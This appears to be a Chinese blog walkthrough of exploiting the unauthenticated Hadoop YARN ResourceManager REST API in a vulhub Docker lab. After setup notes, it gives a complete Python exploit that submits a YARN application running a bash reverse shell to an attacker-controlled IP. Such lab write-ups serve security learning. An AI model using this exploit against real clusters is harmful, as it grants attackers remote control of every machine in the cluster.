赞
踩
Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。
Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)
负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。
》》使用vulhub靶场,docker启动
启动报错
》》ping 不通
解决方法:(更换源)
》》查看当前源
》》写入自定义仓库
“registry-mirrors”:[“https://docker.mirrors.ustc.edu.cn”]
》》保存文件,重启
问题解决
》》启动后访问192.168.226.140:8088即可访问到Hadoop YARN ResourceManager WebUI界面
》》通过nmap扫描目标IP发现在8088端口上开放了Jetty(hadoop使用jetty作为servlet容器提供HTTP服务来访问web后台用于管理hdfs和mapreduce等)
》》浏览器访问web界面
》》nc本地监听等待shell连接
》》执行exp
#!/usr/bin/env python import requests target = 'http://192.168.226.140:8088/' lhost = '192.168.226.134' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。